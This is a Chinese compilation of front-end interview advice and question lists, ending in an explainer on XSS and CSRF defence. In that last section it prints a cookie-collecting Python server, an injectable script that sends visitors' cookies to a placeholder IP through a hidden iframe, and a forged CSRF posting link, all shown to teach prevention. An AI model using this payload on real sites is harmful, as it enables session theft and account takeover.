1. 面試Web前端需要注意什麼會面試哪些問題
作為一名HTML5前端工程師，為了工作，為了就業我們免不了要參加各種各樣的面試。為此總結了面試前的注意事項：
第一：注意自己的儀容儀表
面試之前，一定要再次從頭到腳地將自己的儀容儀表檢查一遍。檢查時主要包括，自己的牙縫是不是還有食物殘渣，所以你需要就近找一個衛生間，如果沒有衛生間就近找一個角落也是可以的，但是切記一定不要在大庭廣眾之下。因此，為了給自己整理出著裝的時間請在約定時間前20分鍾到達。
第二：再次檢查面試時所需的資料是否都已帶全
這些資料主要包括：身份證明、學歷文憑證明、個人簡歷、以往作品等等，如果這些東西齊全之後，需要對這些資料做一個整理與排序。因為沒有哪個面試官希望看到面試者拿出一堆「莫名其妙」的東西塞給他，讓他自己再一頁一頁的翻找自己需要的內容，如果說這些資料在面試官手中不小心散落一地，結果可想而知。這樣的求職者在面試官眼中也一定不是一個讓人放心、有條不紊的員工。當然如果檢查時發現資料沒有帶全，也不要緊張。反而你要慶倖幸虧及時檢查，也有足夠的時間組織語言去向面試官解釋。
第三：面試之前將通信工具調成振動或關閉狀態
雖然說面試者與面試官之間是一個平等的關系，但畢竟你是去人家公司求職的，始終處於一個被動的狀態，所以最起碼的尊重還是要做到的。曾經有調查顯示，對於面試過程中接電話或是被電話打斷的求職者，會被HR減分。
第四：等候面試官時，仔細觀察多了解面試公司
在等候面試官時，可以暗自觀察一下公司的大體情況比如員工的著裝風格、公司的LOGO或是貼在牆上的企業文化、公司的環境等等，一來可以在接下來的面試過程中表現出自己對公司的認同感，二來也可以讓自己對求職公司多些了解，以確定是否要接受這里的工作。如果你身邊有公司的資料宣傳架，不妨取一本翻看一下，也會增加HR對你的好感。
第五：放鬆心情，保持自信
面試時一定要保持一定的自信，這樣也會給面試官留下很好的印象。面試只是你步入工作的第一步，即便是失敗了那也是人生重要的經歷。失敗是為了更好的迎接下一個挑戰。
作為一名web前端工程師千萬不要覺得懂技術面試就能萬事大吉了，像以上五點細節性的東西也是一定要掌握的。
面試題系列：
網頁鏈接
2. 電商網站開發中前端有哪些安全性的問題要解決
電子商務簡單的說就是利用Internet進行的交易活動，電子商務："電子"+"商務"，從電子商務的定義可以了解電子商務的安全也就相應的分為兩個方面的安全：一方面是"電子"方面的安全，就是電子商務的開展必須利用Internet來進行，而Internet本身也屬於計算機網路，所以電子商務的第一個方面的安全就是計算機網路的安全，它包括計算機網路硬體的安全與計算機網路軟體的安全，計算機網路存在著很多安全威脅，也就給電子商務帶來了安全威脅；另一方面是"商務"方面的安全，是把傳統的商務活動在Internet上開展時，由干Internet存著很多安全隱患給電子商務帶來了安全威脅，簡稱為"商務交易安全威脅"。這兩個方面的安全威脅也就給電子商務帶來了很多安全問題：
（一）計算機網路安全威脅
電子商務包含"三流"：信息流、資金流、物流，"三流"中以信息流為核心為最重要，電子商務正是通過信息流為帶動資金流、物流的完成。電子商務跟傳統商務的最重要的區別就是以計算機網路來傳遞信息，促進信息流的完成。計算機網路的安全必將影響電子商務中的"信息流"的傳遞，勢必影響電子商務的開展。計算機網路存在以下安全威脅：
1、黑客攻擊
黑客攻擊是指黑客非法進入網路，非法使用網路資源。隨著互聯網的發展，黑客攻擊也是經常發生，防不勝防，黑客利用網上的任何漏洞和缺陷修改網頁、非法進入主機、竊取信息等進行相關危害活動。2003年，僅美國國防部的"五角大樓"就受到了了230萬次對其網路的嘗試性攻擊。從這里可以看出，目前黑客攻擊已成為了電子商務中計算機網路的重要安全威脅。
2、計算機病毒的攻擊
病毒是能夠破壞計算機系統正常進行，具有傳染性的一段程序。隨著互聯網的發展，病毒利用互聯網，使得病毒的傳播速度大大加快，它侵入網路，破壞資源，成為了電子商務中計算機網路的又一重要安全威脅。
3、拒絕服務攻擊
拒絕服務攻擊（DoS）是一種破壞性的攻擊，它是一個用戶採用某種手段故意佔用大量的網路資源，使系統沒有剩餘資源為其他用戶提供服務的攻擊。目前具有代表性的拒絕服務攻擊手段包括SYNflood、ICMPflood、UDPflood等。隨著互聯網的發展，拒絕服務攻擊成為了網路安全中的重要威脅。
（二）商務交易安全威脅
把傳統的商務活動在Internet上進行，由於Internet本身的特點，存在著很多安全威脅，給電子商務帶來了安全問題。Internet的產生源於計算機資源共享的需求，具有很好的開放性，但正是由子它的開放性，使它產生了更嚴重的安全問題。Internet存在以下安全隱患：
1、開放性
開放性和資源共享是Internet最大的特點，但它的問題卻不容忽視的。正是這種開放性給電子商務帶來了安全威脅。
2、缺乏安全機制的傳輸協議
TCP／IP協議是建立在可信的環境之下，缺乏相應的安全機制，這種基於地址的協議本身就會泄露口令，根本沒有考慮安全問題；TCP／IP協議是完全公開的，其遠程訪問的功能使許多攻擊者無須到現場就能夠得手，連接的主機基於互相信任的原則等這些性質使網路更加不安全。
3、軟體系統的漏洞
隨著軟體系統規模的不斷增大，系統中的安全漏洞或"後門"也不可避免的存在。如cookie程序、JAVA應用程序、IE瀏覽器等這些軟體與程序都有可能給我們開展電子商務帶來安全威脅。
4、信息電子化
電子化信息的固有弱點就是缺乏可信度，電子信息是否正確完整是很難由信息本身鑒別的，而且在Internet傳遞電子信息，存在著難以確認信息的發出者以及信息是否被正確無誤地傳遞給接收方的問題。
（三）計算機網路安全威脅與商務交易安全威脅給電子商務帶來的安全問題
1、信息泄露
在電子商務中表現為商業機密的泄露，以上計算機網路安全威脅與Internet的安全隱患可能使得電子商務中的信息泄漏，主要包括兩個方面：（1）交易一方進行交易的內容被第三方竊取。（2）交易一方提供給另一方使用的文件第三方非法使用。
2、篡改
正是由於以上計算機網路安全威脅與Internet的安全隱患，電子的交易信息在網路上傳輸的過程中，可能被他人非法地修改、刪除或重放（指只能使用一次的信息被多次使用），這樣就使信息失去了真實性和完整性。
3、身份識別
正是由於電子商務交易中交易兩方通過網路來完成交易，雙方互不見面、互不認識，計算機網路的安全威脅與Internet的安全隱患，也可能使得電子商務交易中出現身交易身份偽造的問題。
4、信息破壞
計算機網路本身容易遭到一些惡意程序的破壞，如計算機病毒、特洛伊木馬程序、邏輯炸彈等，導致電子商務中的信息在傳遞過程被破壞。
5、破壞信息的有效性
電子商務中的交易過程中是以電子化的信息代替紙面信息，這些信息我們也必須保證它的時間的有效與本身信息的有效，必須能確認該信息確是由交易一方簽發的，計算機網路安全威脅與Internet的安全隱患，使得我們很難保證電子商務中的信息有效性。
6、泄露個人隱私
隱私權是參與電子商務的個人非常關心的一個問題。參與到電子商務中的個人就必須提供個人信息，計算機網路安全威脅與Internet的安全隱患有可能導致個人信息泄露，破壞到個人隱私。
3. 前端面試題目難嗎 如何輕松面對前端面試
從以下五個方面做，可以輕松面對前端面試：
一、基本知識
DOM結構——兩個節點之間可能存在哪些關系以及如何在節點之間任意移動。
DOM操作——怎樣添加、移除、移動、復制、創建和查找節點。
事件——怎樣使用事件以及IE和DOM事件模型之間存在哪些主要差別。
XMLHttpRequest——這是什麼、怎樣完整地執行一次GET請求、怎樣檢測錯誤。
嚴格模式與混雜模式——如何觸發這兩種模式，區分它們有何意義。
盒模型——外邊距、內邊距和邊框之間的關系，IE8以下版本的瀏覽器中的盒模型有什麼不同。
塊級元素與行內元素——怎麼用CSS控制它們、它們怎樣影響周圍的元素以及你覺得應該如何定義它們的樣式。
浮動元素——怎麼使用它們、它們有什麼問題以及怎麼解決這些問題。
HTML與XHTML——二者有什麼區別，你覺得應該使用哪一個並說出理由。
JSON——它是什麼、為什麼應該使用它、到底該怎麼使用它，說出實現細節來。
二、少量提問
現在有一個正顯示著Yahoo!股票價格的頁面。頁面上有一個按鈕，你可以單擊它來刷新價格，但不會重新載入頁面。請你描述一下實現這個功能的過程，假設伺服器會負責准備好正確的股票價格數據。
這個問題牽扯到一組我想要考察的基本知識點：DOM結構、DOM操作、事件處理、XHR和JSON。如果我要求你對換一種處理股票價格的方式，或者 讓你在頁面中顯示其他信息，就可以把更多的知識點包括進來。對於經驗比較豐富應聘者，我也可以自如地擴展要考察的知識范圍，最簡單像JOSN與XML的區別、安全問題、容量問題等等。
我還希望應聘者給出的任何解決方案中都不要使用庫。我想看到最原生態的代碼，你就當頁面中沒有包含任何庫。你說你對哪個庫了解多少多少，但我不能把關於庫的知識作為評判能力的因素，因為庫是會隨時間變化的。
三、解決問題
做為一名前端工程師，最值得高興的事莫過於解決同一個問題會有很多種不同的方法，而你要做的就是找出最合適的方法來。我在提問的時候，經常會在應聘者解釋完一種方法後問他們還有沒有第二種方法。此時我會跟他們說，假設你的這個方法由於種種原因被否決了，那麼你還能不能給出另一種方法。這樣做可以達到 兩個目的。
首先，可以測試出他們是否在毫無意義地復述書本中的東西。不能不承認，某些人確實有過目不忘的天賦，聽他們在那裡滔滔不絕地講，你會覺得他們什麼都明白。可是，只要一跟這些人談到怎麼查找方案無效的原因，以及能否拿出一個新方案來，他們往往就傻眼了。這時候，如果我聽到「我不明白這個方案為什麼不夠 好」之類的反問，心裡立刻就明白我的問題已經超出了他們的能力范圍，而他們只是想拿自己死記硬背的結論來矇混過關。
其次，可以測試出他們已經掌握的(還是那句話，「想都不用想」)瀏覽器技術知識。如果他們對瀏覽器平台的核心知識有較好的理解，想出解決同一問題的不同方案根本沒有那麼難。
注意：所有問題都與瀏覽器技術相關。我不相信出幾道抽象的邏輯題，就能夠考出某人解決Web技術問題的能力。在我看來，這無異於讓素描大師畫肖像，沒有意義，也得不到任何有價值的信息。
四、有激情
要成為一名優秀的前端工程師，最重要的莫過於對自己做的事要有激情。我們技能都不是從學校中或者從研討會上學來的，因此前端工程師必須具備自學能力。瀏覽器技術的變化可謂日新月異，所以也只有不斷提升自己的技能才做得到與時俱進。我雖然不能強迫誰必須多看博客、不斷學習，但想應聘前端工程師的人恐怕還是必須這么做的。
你怎麼知道誰對這種工作有沒有激情?實際上非常簡單。我只問一個簡單的問題：「目前你對什麼Web技術最感興趣?」這個問題永遠不會過期，而且也幾乎不可能出錯……除非你答不上來。就眼下來說，我希望你對這個問題給出的技術中包括WebSocket、HTML、WebGL、客戶端資料庫，等等。只有 對Web開發充滿激情的人，才會堅持不懈地學習新知識、掌握新技能;
五、最後一點
計算機科學或者Web設計方面的知識當然也有用，但那都是基本知識之外的東西。只要基本知識在那兒了，一切就都有了基礎，想擴充知識面也不難。可是，如果等到正式上班以後，還得從頭學習基本技能，那種難度是不可同日而語的。
4. 前端面試一般問什麼
web前端面試會問人事方面的內容和web前端技術的內容；
人事的面試
web前端人事面試方面，需要注意如何自我介紹、性格有哪些優劣勢、職業規劃方向是什麼、你的特長是什麼、對於加班之類你是怎麼看待等人事面試內容；
web前端技術的面試
技術面試，需要注意HTML+CSS+JavaScript以及JS主流框架的使用，比如Vue、React等，前端相關技術，比如tcp握手協議、網路安全、後端技術等；
對於web前端面試准備，建議你去看「決勝前端」（min app），它裡麵包含了很多web前端技術面試、人事面試等面試真題，而且針對面試題做了詳細的分析與解答。
我給你截圖看一下例子吧
5. 面試web前端時，你該如何應對面試官
這個雖然是技術型面試，但是面試的基本准則還是不會變的，態度誠懇，真誠，讓面試官感受你的熱情和對該工作的熱愛。至於技術水平的問題，一般在簡歷里就有體現，所以能夠收到面試，至少你的簡歷上的經歷還是有吸引到面試官的，所以，你盡量放鬆，於面試官真誠交流。
遇到技術型問題的時候，不要侃侃而談，挑技術要點，簡明扼要概括。因為，如果面試你的是你未來的領導，就是說懂行的人，你一說要點，他能知道你的水平。如果只是HR，其實就你講的很詳細，他也不一定能明白。所以，簡明扼要，保險！
6. Web前端崗位面試題有哪些
前端面試題匯總，基本上會有四大類問題，具體如下：
一、HTML
1、Doctype作用？嚴格模式與混雜模式如何區分？它們有何意義?
2、HTML5 為什麼只需要寫 <!DOCTYPE HTML>？
3、行內元素有哪些？塊級元素有哪些？ 空(void)元素有那些？
4、頁面導入樣式時，使用link和@import有什麼區別？
5、介紹一下你對瀏覽器內核的理解？
6、常見的瀏覽器內核有哪些？
7、html5有哪些新特性、移除了那些元素？如何處理HTML5新標簽的瀏覽器兼容問題？如何區分 HTML 和 HTML5？
8、簡述一下你對HTML語義化的理解？
9、HTML5的離線儲存怎麼使用，工作原理能不能解釋一下？
10、瀏覽器是怎麼對HTML5的離線儲存資源進行管理和載入的呢？
11、請描述一下 cookies，sessionStorage 和 localStorage 的區別？
12、iframe有那些缺點？
13、Label的作用是什麼？是怎麼用的？（加 for 或 包裹）
14、HTML5的form如何關閉自動完成功能？
15、如何實現瀏覽器內多個標簽頁之間的通信? (阿里)
16、webSocket如何兼容低瀏覽器？(阿里)
17、頁面可見性（Page Visibility）API 可以有哪些用途？
18、如何在頁面上實現一個圓形的可點擊區域？
19、實現不使用 border 畫出1px高的線，在不同瀏覽器的Quirksmode和CSSCompat模式下都能保持同一效果。
20、網頁驗證碼是幹嘛的，是為了解決什麼安全問題？
21、tite與h1的區別、b與strong的區別、i與em的區別？
二、css
1、介紹一下標準的CSS的盒子模型？與低版本IE的盒子模型有什麼不同的？
2、CSS選擇符有哪些？哪些屬性可以繼承？
3、CSS優先順序演算法如何計算？
4、CSS3新增偽類有那些？
5、如何居中div？如何居中一個浮動元素？如何讓絕對定位的div居中？
6、display有哪些值？說明他們的作用。
7、position的值relative和absolute定位原點是？
8、CSS3有哪些新特性？
9、請解釋一下CSS3的Flexbox（彈性盒布局模型）,以及適用場景？
10、用純CSS創建一個三角形的原理是什麼？
11、一個滿屏 品 字布局 如何設計?
三、常見兼容性問題？
1、li與li之間有看不見的空白間隔是什麼原因引起的？有什麼解決辦法？
2、經常遇到的瀏覽器的兼容性有哪些？原因，解決方法是什麼，常用hack的技巧 ？
3、為什麼要初始化CSS樣式。
4、absolute的containing block計算方式跟正常流有什麼不同？
5、CSS里的visibility屬性有個collapse屬性值是幹嘛用的？在不同瀏覽器下以後什麼區別？
6、position跟display、margin collapse、overflow、float這些特性相互疊加後會怎麼樣？
7、對BFC規范(塊級格式化上下文：block formatting context)的理解？
8、CSS權重優先順序是如何計算的？
9、請解釋一下為什麼會出現浮動和什麼時候需要清除浮動？清除浮動的方式
10、移動端的布局用過媒體查詢嗎？
11、使用 CSS 預處理器嗎？喜歡那個？
12、CSS優化、提高性能的方法有哪些？
13、瀏覽器是怎樣解析CSS選擇器的？
14、在網頁中的應該使用奇數還是偶數的字體？為什麼呢？
15、margin和padding分別適合什麼場景使用？
16、抽離樣式模塊怎麼寫，說出思路，有無實踐經驗？[阿里航旅的面試題]
17、元素豎向的百分比設定是相對於容器的高度嗎？
18、全屏滾動的原理是什麼？用到了CSS的那些屬性？
19、什麼是響應式設計？響應式設計的基本原理是什麼？如何兼容低版本的IE？
20、視差滾動效果，如何給每頁做不同的動畫？（回到頂部，向下滑動要再次出現，和只出現一次分別怎麼做？）
21、::before 和 :after中雙冒號和單冒號 有什麼區別？解釋一下這2個偽元素的作用。
22、如何修改chrome記住密碼後自動填充表單的黃色背景 ？
23、你對line-height是如何理解的？
24、設置元素浮動後，該元素的display值是多少？（自動變成display:block）
25、怎麼讓Chrome支持小於12px 的文字？
26、讓頁面里的字體變清晰，變細用CSS怎麼做？（-webkit-font-smoothing: antialiased;）
27、font-style屬性可以讓它賦值為「oblique」 oblique是什麼意思？
28、position:fixed;在android下無效怎麼處理？
29、如果需要手動寫動畫，你認為最小時間間隔是多久，為什麼？（阿里）
30、display:inline-block 什麼時候會顯示間隙？(攜程)
31、overflow: scroll時不能平滑滾動的問題怎麼處理？
32、有一個高度自適應的div，裡面有兩個div，一個高度100px，希望另一個填滿剩下的高度。
33、png、jpg、gif 這些圖片格式解釋一下，分別什麼時候用。有沒有了解過webp？
34、什麼是Cookie 隔離？（或者說：請求資源的時候不要讓它帶cookie怎麼做）
35、style標簽寫在body後與body前有什麼區別？
四、JavaScript
1、介紹JavaScript的基本數據類型。
2、說說寫JavaScript的基本規范？
3、JavaScript原型，原型鏈 ? 有什麼特點？
4、JavaScript有幾種類型的值？（堆：原始數據類型和 棧：引用數據類型），你能畫一下他們的內存圖嗎？
5、Javascript如何實現繼承？
6、Javascript創建對象的幾種方式？
7、Javascript作用鏈域?
8、談談This對象的理解。
9、eval是做什麼的？
10、什麼是window對象? 什麼是document對象?
11、null，undefined的區別？
12、寫一個通用的事件偵聽器函數(機試題)。
13、[「1」, 「2」, 「3」].map(parseInt) 答案是多少？
14、關於事件，IE與火狐的事件機制有什麼區別？ 如何阻止冒泡？
15、什麼是閉包（closure），為什麼要用它？
16、javascript 代碼中的」use strict」;是什麼意思 ? 使用它區別是什麼？
17、如何判斷一個對象是否屬於某個類？
18、new操作符具體幹了什麼呢?
19、用原生JavaScript的實現過什麼功能嗎？
20、Javascript中，有一個函數，執行時對象查找時，永遠不會去查找原型，這個函數是？
21、對JSON的了解？
22、[].forEach.call($$("*"),function(a){ a.style.outline="1px solid #"+(~~(Math.random()*(1<<24))).toString(16) }) 能解釋一下這段代碼的意思嗎？
23、js延遲載入的方式有哪些？
24、Ajax 是什麼? 如何創建一個Ajax？
25、同步和非同步的區別?
26、如何解決跨域問題?
27、頁面編碼和被請求的資源編碼如果不一致如何處理？
28、模塊化開發怎麼做？
29、AMD（Moles/Asynchronous-Definition）、CMD（Common MoleDefinition）規范區別？
30、requireJS的核心原理是什麼？（如何動態載入的？如何避免多次載入的？如何 緩存的？）
31、讓你自己設計實現一個requireJS，你會怎麼做？
32、談一談你對ECMAScript6的了解？
33、ECMAScript6 怎麼寫class么，為什麼會出現class這種東西?
34、非同步載入的方式有哪些？
35、documen.write和 innerHTML的區別?
36、DOM操作——怎樣添加、移除、移動、復制、創建和查找節點?
37、.call() 和 .apply() 的含義和區別？
38、數組和對象有哪些原生方法，列舉一下？
39、JS 怎麼實現一個類。怎麼實例化這個類
40、JavaScript中的作用域與變數聲明提升？
41、如何編寫高性能的Javascript？
42、那些操作會造成內存泄漏？
43、JQuery的源碼看過嗎？能不能簡單概況一下它的實現原理？
44、jQuery.fn的init方法返回的this指的是什麼對象？為什麼要返回this？
45、jquery中如何將數組轉化為json字元串，然後再轉化回來？
46、jQuery 的屬性拷貝(extend)的實現原理是什麼，如何實現深拷貝？
47、jquery.extend 與 jquery.fn.extend的區別？
48、jQuery 的隊列是如何實現的？隊列可以用在哪些地方？
49、談一下Jquery中的bind(),live(),delegate(),on()的區別？
50、JQuery一個對象可以同時綁定多個事件，這是如何實現的？
51、是否知道自定義事件。jQuery里的fire函數是什麼意思，什麼時候用？
52、jQuery 是通過哪個方法和 Sizzle 選擇器結合的？（jQuery.fn.find()進入Sizzle）
53、針對 jQuery性能的優化方法？
54、Jquery與jQuery UI有啥區別？
55、JQuery的源碼看過嗎？能不能簡單說一下它的實現原理？
56、jquery 中如何將數組轉化為json字元串，然後再轉化回來？
57、jQuery和Zepto的區別？各自的使用場景？
58、針對 jQuery 的優化方法？
59、Zepto的點透問題如何解決？
60、jQueryUI如何自定義組件?
61、需求：實現一個頁面操作不會整頁刷新的網站，並且能在瀏覽器前進、後退時正確響應。給出你的技術實現方案？
62、如何判斷當前腳本運行在瀏覽器還是node環境中？（阿里）
63、移動端最小觸控區域是多大？
64、jQuery 的 slideUp動畫 ，如果目標元素是被外部事件驅動, 當滑鼠快速地連續觸發外部元素事件, 動畫會滯後的反復執行，該如何處理呢?
65、把 Script 標簽 放在頁面的最底部的body封閉之前 和封閉之後有什麼區別？瀏覽器會如何解析它們？
66、移動端的點擊事件的有延遲，時間是多久，為什麼會有？ 怎麼解決這個延時？（click 有 300ms 延遲,為了實現safari的雙擊事件的設計，瀏覽器要知道你是不是要雙擊操作。）
67、知道各種JS框架(Angular, Backbone, Ember, React, Meteor, Knockout…)么? 能講出他們各自的優點和缺點么?
68、Underscore 對哪些 JS 原生對象進行了擴展以及提供了哪些好用的函數方法？
69、解釋JavaScript中的作用域與變數聲明提升？
70、那些操作會造成內存泄漏？
71、JQuery一個對象可以同時綁定多個事件，這是如何實現的？
72、Node.js的適用場景？
(如果會用node)知道route, middleware, cluster, nodemon, pm2, server-side rendering么?
73、解釋一下 Backbone 的 MVC 實現方式？
74、什麼是「前端路由」?什麼時候適合使用「前端路由」? 「前端路由」有哪些優點和缺點?
75、知道什麼是webkit么? 知道怎麼用瀏覽器的各種工具來調試和debug代碼么?
76、如何測試前端代碼么? 知道BDD, TDD, Unit Test么? 知道怎麼測試你的前端工程么(mocha, sinon, jasmin, qUnit..)?
77、前端templating(Mustache, underscore, handlebars)是幹嘛的, 怎麼用?
78、簡述一下 Handlebars 的基本用法？
79、簡述一下 Handlerbars 的對模板的基本處理流程， 如何編譯的？如何緩存的？
80、用js實現千位分隔符?(來源：前端農民工，提示：正則+replace)
檢測瀏覽器版本版本有哪些方式？
81、我們給一個dom同時綁定兩個點擊事件，一個用捕獲，一個用冒泡，你來說下會執行幾次事件，然後會先執行冒泡還是捕獲
7. 對前端安全的理解，有什麼，怎麼防範
比如用戶可控輸入經過了js，就更容易造成xss，容易理解的比如token暴露在前端代碼就是不行的
8. 前端面試 問什麼問題
web前端面試會問人事方面的內容和web前端技術的內容；
人事的面試
web前端人事面試方面，需要注意如何自我介紹、性格有哪些優劣勢、職業規劃方向是什麼、你的特長是什麼、對於加班之類你是怎麼看待等人事面試內容；
web前端技術的面試
技術面試，需要注意HTML+CSS+JavaScript以及JS主流框架的使用，比如Vue、React等，前端相關技術，比如tcp握手協議、網路安全、後端技術等；
對於web前端面試准備，建議你去看「決勝前端」（min app），它裡麵包含了很多web前端技術面試、人事面試等面試真題，而且針對面試題做了詳細的分析與解答。
我給你截圖看一下例子吧
9. 面試時候作為候選人，在前端面試中最怕被問什麼問題
最怕被問到私生活，尤其是關於孩子的情況，如果你說要生二胎的話，可能就會被淘汰。
10. 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代，大家一般用拼接字元串的方式來構造動態 sql 語句創建應用，於是 SQL 注入成了很流行的攻擊方式。在這個年代， 參數化查詢 已經成了普遍用法，我們已經離 SQL 注入很遠了。但是，歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了，所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾，我一定會在模板輸出時候全部轉義。所以個人感覺，要避免 XSS 也是很容易的，重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ，於是找了些資料了解了一下，並與 XSS 放在一起做個比較。
XSS：腳本中的不速之客
XSS 全稱「跨站腳本」，是注入攻擊的一種。其特點是不對伺服器端造成任何傷害，而是通過一些正常的站內交互途徑，例如發布評論，提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本，作為內容發布到了頁面上，其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中，可能只是簡單的惡作劇——一個關不掉的窗口：
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程，先建立一個用來收集信息的伺服器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求，是他們所看不到的。而這個請求，會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制，只能訪問當前域名下的 URL，所謂不能「跨域」問題。這種做法的初衷也是防範 XSS，多多少少都起了一些作用，但不是總是有用，正如上面的注入代碼，用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下，我還能用 iframe 發起 POST 請求。當然，現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截，例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功，何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將，我們也不應該把事關安全性的責任推脫給瀏覽器，所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的，這點對於 Web 開發者應該是常識。
正如上文所說，如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本，那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點，Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們，我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數，Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎，那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是，在一些場合我們要允許用戶輸入 HTML，又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙，但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的，任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況，我個人更傾向於使用簡單的方法處理，簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構，但我們並不將這些數據直接存入資料庫，而是使用 HTML 解析庫遍歷節點，獲取其中數據（之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性）。然後根據用戶原有的標簽屬性，重新構建 HTML 元素樹。構建的過程中，所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別（前面說了 HTML 不同於 XML，要求有很強的容錯性），那麼它不會成為漏網之魚，因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹，我們可以拍胸脯保證——所有的標簽、屬性都來自白名單，一定不會遺漏。
現在看來，大多數 Web 開發者都了解 XSS 並知道如何防範，往往大型的 XSS 攻擊（包括前段時間新浪微博的 XSS 注入）都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中，開啟（或不要關閉）類似 Django Template、Jinja2 中「默認轉義」（Auto Escape）的功能。在不需要轉義的場合，我們可以用類似 的方式取消轉義。這種白名單式的做法，有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域，是富 AJAX 類應用（例如豆瓣網的阿爾法城）。這類應用的風險並不集中在 HTTP 的靜態響應內容，所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域，開發者不得不自己打開危險的大門。這種情況下，站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包（似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試），但我都沒試用過，故不予評價。不管怎麼說，我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF：冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別，後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條，但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」，而 XSS 的全稱是「跨站腳本」。看起來有點相似，它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶，但前面說了，它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義，是偽造請求，冒充用戶在站內的正常操作。我們知道，絕大多數網站是通過 cookie 等方式辨識用戶身份（包括使用伺服器端 Session 的網站，因為 Session ID 也是大多保存在 cookie 裡面的），再予以授權的。所以要偽造用戶的正常操作，最好的方法是通過 XSS 或鏈接欺騙等途徑，讓用戶在本機（即擁有身份 cookie 的瀏覽器端）發起用戶所不知道的請求。
嚴格意義上來說，CSRF 不能分類為注入攻擊，因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌，但對於設計不佳的網站，一條正常的鏈接都能造成 CSRF。
例如，一論壇網站的發貼是通過 GET 請求訪問，點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問：
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼，我只需要在論壇中發一帖，包含一鏈接：
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接，那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇，但是既然發貼的請求可以偽造，那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題，我們是否可以效仿上文應對 XSS 的做法呢？過濾用戶輸入， 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用，但阻擋不了 CSRF，因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去，為了偽裝可能還使用 bit.ly 壓縮一下網址，這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ，我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入，因為它並不屬於注入攻擊，而是請求偽造。被偽造的請求可以是任何來源，而非一定是站內。所以我們唯有一條路可行，就是過濾請求的 處理者。
